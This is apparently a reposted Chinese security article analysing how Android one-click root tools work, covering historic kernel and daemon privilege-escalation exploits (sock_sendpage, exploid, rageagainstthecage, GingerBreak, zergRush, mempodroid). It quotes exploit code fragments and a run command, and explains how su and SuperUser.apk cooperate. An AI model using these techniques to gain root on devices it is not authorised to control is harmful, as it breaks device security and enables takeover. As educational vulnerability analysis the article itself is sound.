【移动安全高级篇】————4、Android手机一键Root原理分析
一直以來,刷機與Root是Android手機愛好者最熱衷的事情。即使國行手機的用戶也不惜冒著失去保修的風險對Root手機樂此不疲。就在前天晚上,一年一度的Google I/O大會拉開了帷幕,最新的Android4.1系統成為了大會的熱點,經過短短的幾個小時后,網上就有人泄露了Jelly Bean的下載地址,再然后就有了Android 4.1帶Root的完整刷機包,真是強大的人們!
Root的由來
?????? 什么是Root?Root本身是指Linux系統的root帳戶,該帳戶擁有整個系統至高無上的權利,系統中的所有對象它都可以操作,對于Android手機用戶來說的Root是指擁有Root權限,一般情況下,手機廠商出于安全考慮會關閉手機的Root權限,手機系統是運行在普通用戶權限下的,用戶是無法操作系統中的文件與數據的。
?????? Root與刷機本身是有很多關聯的,而且隨著刷機工具的便利與刷機原理的變化,兩者的關系更加是模糊不清了。不同廠商針對獲取Root權限設置了不同的要塞。
首先從刷機說起,如HTC手機在刷機前需要保證S-OFF,S-OFF代表什么呢?S代表 Security Lock安全鎖,保護鎖的意思,S-OFF就是關掉鎖保護。然后是Motorola的手機,這個廠商對于不同型號的手機設置是不同的,很多Motorola型號的手機將BootLoader是鎖住的,因此,在刷機前需要先解鎖BootLoader。還有中興手機,這廠商更是變態,一次次的版本升級只是為了鎖住用戶不讓用戶升級,也就導致了同一型號的手機由于版本不同有的型號帶Recovery,有的又不帶。三星的手機現在可以說是最好賣的,一方面是出色的硬件配置與外觀,另一方面是有眾多的Rom包可以刷。三星的好幾款手機是Google源碼的測試樣機,而且三星手機在出廠時對用戶的限制相比其它品牌是較少的,這也是廣大Android開發者對它青睞有加的原因。
早先的Android手機要想獲取Root權限可以有以下幾種方式:
Root漏洞的歷史
Root漏洞不是與生俱來的,這是全世界優秀的計算機黑客不懈努力的成果。也許那個你在夜店喝酒的夜晚,他們正尋找著系統的漏洞,一次次的測試,一次次的失敗,最終在你醉得不省人事的時候,他們獲取到了系統的最高控制權。他們歡呼,他們嚎叫,他們是全天下是聰明的人!
也許你對他們的事跡不屑一顧,但我相信你對他們的研究成果是饒有興趣的。下來由我來帶領大家,看看這一路走來,都出現過哪里牛人,他們又為我們帶來了哪些驚喜。
CVE-2009-2692
?????? 我無法知道Android提權漏洞是從哪個開始的,但我在我印象中,它是最早的。這個漏洞的發現者是Zinx,他是探索Android安全之路的先驅。現在每個Root后的手機中肯定有SuperUser.apk軟件,而Zinx就是早先SuperUser的作者,現在SuperUser由ChainsDD來負責更新了,Zinx前輩常年混跡于國外xda論壇,不過現在好像很少露面了。
?????? 這個洞是09年的,現在早已經修補了。從Zinx提供的android-root-20090816.tar.gz壓縮包時間來看,這個Exploit是在Android NDK r1發布后近兩個月公布的,可見Zinx研究Android的時間是多么的早!這個洞的原作者并不是Znix,Znix只是將洞移植到了Android上,這個洞的作者在Exploit中給出的協議驅動程序包括pppox, bluetooth, appletalk, ipx, sctp,Znix改寫的Android版本使用的buletooth協議。這個漏洞的起因是sock_sendpage()的空指針解引用。因為sock_sendpage沒有對socket_file_ops結構的sendpage字段做指針檢查,有些模塊不具備sendpage功能,初始時賦為NULL,這樣,沒有做檢查的sock_sendpage有可能直接調用空指針而導致出錯并提升權限!
?????? 接著,sendfile(fdout, fdin, NULL, PAGE_SIZE);的調用使得該洞被觸發,最終執行以下代碼獲取到Root權限:
int __attribute__((section(".null"))) root_sendpage(void *sk, void *page, int offset, size_t size, int flags){current->uid = current->euid = 0;current->gid = current->egid = 0;got_root = 1;return -ECONNREFUSED;}CVE-2010-EASY
?????? 這個漏洞是由“The Android Exploid Crew”小組發現的。在公布的代碼中,提供了多達三種的提權方法!分別是exploid.c、exploid2.c、rageagainstthecage.c三個文件。
exploid.c與屬于exploid2.c同一類Exploit,這個洞的形成是由于udev對熱插拔消息檢測不嚴導致的,用戶通過發送惡意信息讓內核加載自定義的惡意程序從而取得root權限。在代碼中,兩者都是通過NET_LINK來完成通信,只是在處理“geteuid() == 0”時代碼不同而以,程序發送偽熱插拔消息,讓內核執行自身代碼,而內核由于沒有檢查消息發送者是內核還是用戶,就匆忙的執行了,這時“geteuid() == 0”條件成立,接下來只需開個sh就完成了Root工作。創建Socket并發送消息的代碼如下:
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)die("[-] socket");close(creat("loading", 0666));if ((ofd = creat("hotplug", 0644)) < 0)die("[-] creat");if (write(ofd, path , strlen(path)) < 0)die("[-] write");close(ofd);symlink("/proc/sys/kernel/hotplug", "data");snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c""SUBSYSTEM=firmware%c""FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);printf("[+] sending add message ...\n");if (sendmsg(sock, &msg, 0) < 0)die("[-] sendmsg");close(sock);rageagainstthecage.c這個洞有人把它稱為setuid提權漏洞,這個漏洞的形成過程我個人感覺只能用“巧妙”來形容!代碼通過將adbd后臺服務子進程耗盡迫使adbd重啟,adbd在重啟的時候具有root權限,正常情況下這時adbd會調用setuid將權限降到shell,但是由于rageagainstthecage讓adbd的僵尸進程充斥著整個系統,這時候setuid會調用失敗,最后adbd就被保留了root權限運行,從而完成root提權。核心代碼如下:
if (fork() > 0)exit(0);setsid();pipe(pepe);if (fork() == 0) {close(pepe[0]);for (;;) {if ((p = fork()) == 0) {exit(0);} else if (p < 0) {if (new_pids) {printf("\n[+] Forked %d childs.\n", pids);new_pids = 0;write(pepe[1], &c, 1);close(pepe[1]);}} else {++pids;}}}close(pepe[1]);read(pepe[0], &c, 1);第1-3行代碼fork子進程后退出,第4-6行子進程獨立并創建兩支管道同來同步進程,具體是由第8行與第25行是一關一讀來實現的,第10-11行是不停的創建子進程,然后不停退出,這時僵尸產生了!直到最后p < 0輸出創建的子進程數目。在這段代碼執行完后會重啟adb進程,adb進程重啟會執行setgid(AID_SHELL)與setuid(AID_SHELL)兩行代碼來降權,可是這時候由于進程數達到上限setuid執行失敗,這就使得adb進程以Root權限繼續執行下去了。
GingerBreak
?????? GingerBreak本身不是Linux內核漏洞,因此它沒有正規的漏洞編號。與上面的漏洞同樣的是,GingerBreak也是由“The Android Exploid Crew”小組“發明”的,它的工作原理與Hook類似,通過代碼修改/system/bin/vold程序的GOT表項,將strcmp()、atoi()等函數的地址為system()函數的地址,然后觸發調用strcmp()或atoi()來達到執行system()的目的,而后者真正被執行后會為我們來帶久違的Root Shell,修改函數地址的代碼片斷如下:???
??? vold.pid = found;vold.found = 1;if (vold.system)return;ptr = find_symbol("system");vold.system = (uint32_t)ptr;?????? 在修改完函數地址后,就要考慮如何來觸發了,“The Android Exploid Crew”小組再一次使用了NET_LINK進行通信,通過發送熱插拔消息讓void中的strcmp()或atoi()被調用!但不同的Android系統版本可能操作起來有所不同,于是,需要手工構造消息,然后發送:??????
/* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.* inside vold main binary.* Arent we smart? Using old school technique from '99 to fsck NX while others* re-invent "ROP". Wuhahahahaha!!!*/if (honeycomb) {n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c""SEQNUM=%s%cDEVPATH=%s%c""MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0);} else if (froyo) {n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c""DEVPATH=%s%c""MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",0, 0, 0, bsh, 0, 0, vold.system, 0, 0);} else {n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c""SEQNUM=%s%cDEVPATH=%s%c""MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);}?????? 可以看到,代碼的適用范圍是froyo到honeycomb,仔細看一下代碼的注釋部分,代碼的作者真的卡哇伊呢!
zergRush
?????? 同GingerBreak一樣,zergRush也不屬于內核漏洞。這個漏洞是大名鼎鼎的Revolutionary工具開發小組公布的,這個小組開發的Revolutionary解鎖工具對于HTC的用戶應該不陌生吧!這個漏洞的原理是由于libsysutils.so庫中的FrameworkListener::dispatchCommand函數的一個棧變量引起的,棧變量argv[FrameworkListener::CMD_ARGS_MAX]由于允許的最大下標為16,如果我們特意傳送超過 16 個空格分割的字符串,函數就會溢出。
?????? 整個溢出工具的代碼框架與GingerBreak是一樣的,我估計是在GingerBreak代碼基礎上加工的,嘿嘿,整個代碼的核心部分在do_fault函數中,代碼設計十分巧妙,經過精心的構造最終執行安排的Shellcode,整個過程通過代碼閱讀很難在大腦中建立模型結構,建議還是手動調試好。
?????? 以上介紹的幾個漏洞代碼都是優秀的,無可挑剔的,它們目前在全球各地以各種名稱與形式存在著。
CVE-2012-0056
2012年1月23日,正當我們與家人聚在一起吃團年飯的時候,國外的小伙zx2c4在自己的主頁上公布了此漏洞,隨后,xda上的網友saurik對其編寫了Android版本的Exploit。這個漏洞的原理是利用系統中具體s屬性的程序通過自修改程序的內存,執行Shellcode達到獲得Root權限的目的。完成修改進程內存的動作前需要解決兩個問題:
解決第一個問題很簡單,可以直接打開自己進程的內存即可,第二個問題就難辦了,因為進程打開自己時self_exec_id已經加一了,zx2c4使用子進程來巧妙的解決了這個問題,首先fork()子進程來保存進程的mem文件到CMSG_DATA,然后父進程使用dup(2)創建2號fd,接著dup2(mem, 2)將mem的內容dup2給2號fd,這時2號fd指向了/poc/$pid/mem的fd,下一步是構造參數args,調用"/system/bin/run-as"來執行Exploit,代碼如下:
?????? ……int save = dup(2);dup2(mem, 2);close(mem);if (save != 3) {dup2(save, 3);close(save);}char self[1024];_syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));char *args[4 + argc + 1];args[0] = strdup("run-as");args[1] = (char *) exploit;args[2] = self;args[3] = strdup("-");int i;for (i = 0; i != argc; ++i)args[4 + i] = argv[i];args[4 + i] = NULL;_syscall(execv("/system/bin/run-as", args));return 0;?????? 漏洞利用程序在運行時需要提供三個參數exit()函數地址、setresuid()函數地址以及一個命令,如Root掉Galaxy Nexus手機可以執行:./data/local/tmp/mempodroid 0xd7f4 0xad4b sh?????
? exit()與setresuid()函數地址的獲取很簡單,可以使用objdump查找,可以使用如下代碼來獲取:int main(void) {void*? lib = dlopen("libc.so", RTLD_NOW | RTLD_GLOBAL);void*? symbol;if (lib == NULL) {fprintf(stderr, "Could not open self-executable with dlopen(NULL) !!: %s\n", dlerror());return 1;}symbol = dlsym(lib, "exit");if (symbol == NULL) {fprintf(stderr, "Could not lookup symbol exit !!: %s\n", dlerror());return 2;}printf("exit() addr:%08x\n", symbol);symbol = dlsym(lib, "setresuid");if (symbol == NULL) {fprintf(stderr, "Could not lookup symbol setresuid !!: %s\n", dlerror());return 2;}printf("setresuid() addr:%08x\n", symbol);dlclose(lib);return 0;}?????? 這個漏洞目前是最新的,并且漏洞的補丁是Linux的父親Linus親自提交的。在最新ICS 4.0.2(ICL53F)以前的Android系統中,這個漏洞可以正常工作。
su與SuperUser.apk是如何協作的
?????? 在Root后手機會植入su與superuser.apk兩個文件,前者會被放入手機的/system/bin目錄下,后者被放到/system/app目錄下,它們組合在一起,為系統提供了su權限的管理。這兩個工具目前由xda論壇上的ChainsDD在維護(順便說一下,國內xxRoot工具也有自已的su與SuperUser.apk文件,修改取自并修改于ChainsDD的代碼,并且版權被切)。
?????? su程序與Linux平臺上的su本身無太大差別,只是由于系統的特殊性去掉了部分內容,并加上了一些控制代碼。su程序保留的命令行參數不多,“-c”與“-s”可能是最常用的,整個程序核心功能由兩個方向性的函數allow()與deny()組成,在經過計算獲取到了命令行參數與命令后,會執行以下代碼:
?????? if (su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)allow(shell, orig_umask);if (stat(REQUESTOR_DATA_PATH, &st) < 0) {PLOGE("stat");deny();}……setgroups(0, NULL);setegid(st.st_gid);seteuid(st.st_uid);AID_ROOT與AID_SHELL分別是root與shell權限,程序直接放行,stat()函數會檢查手機是否安裝有SuperUser.apk,沒有程序會拒絕執行。條件滿足就會以Superuser的權限往下執行:
db = database_init();if (!db) {LOGE("sudb - Could not open database, prompt user");dballow = DB_INTERACTIVE;} else {LOGE("sudb - Database opened");dballow = database_check(db, &su_from, &su_to);sqlite3_close(db);db = NULL;LOGE("sudb - Database closed");}switch (dballow) {case DB_DENY: deny();case DB_ALLOW: allow(shell, orig_umask);case DB_INTERACTIVE: break;default: deny();}database_init()與database_check()負責從SuperUser.apk程序databases目錄下的permissions.sqlite數據庫中讀取權限設置,這也是為什么SuperUser.apk有能力控制su的原因!(人家主動找上門的)等dballow弄到手,該放行該拒絕就看著辦了,如果沒搜索到記錄就代表是第一次,需要往下建立socket來send_intent,send_intent()采用底層構造Intent方式來發送廣播,這個廣播會被SuperUser.apk接收,等返回后會給你返回個字符串“ALLOW”或“DENY”,這時候su程序該咋地就咋地了:
if (send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {deny();}if (socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {deny();}……if (!strcmp(result, "DENY")) {deny();} else if (!strcmp(result, "ALLOW")) {allow(shell, orig_umask);} else {LOGE("unknown response from Superuser Requestor: %s", result);deny();}下面是SuperUser.apk的工作了,上面的廣播會被SuperUser.apk的SuRequestReceiver廣播接收者收到,廣播接收者首先讀取prompt設置,如果用戶要的是自動處理,那就根據這個值來對Root權限請求自動拒絕或自動放行,如果不自動處理,就到數據庫中搜索權限規則,并根據結果發回處理,另外SuperUser除了對普通的程序進程su權限控制外,還提供了NFC、SecretCode、PinCode的監控,SuperUser同時注冊了安裝與卸載Apk的廣播接收者,在安裝與卸載時會對權限數據庫中的條目進行更新或刪除操作,限于篇幅,SuperUser的詳細實現在此就不再展開了。
到這里本文就告一段落了。本文主要分析了手機Root權限獲取的過程,并介紹了常見的幾個Root提權漏洞,最后通過分析su與SuperUser.apk的協作方式解了Root真正的原理。由于本人知識有限,文中難免會有紕漏或理解出錯的地方,如果您有任何問題或建議,還望來信指正。
?
總結
以上是生活随笔為你收集整理的【移动安全高级篇】————4、Android手机一键Root原理分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Windows api实现桌面任务栏隐藏
- 下一篇: 网络前三层协议的代码模拟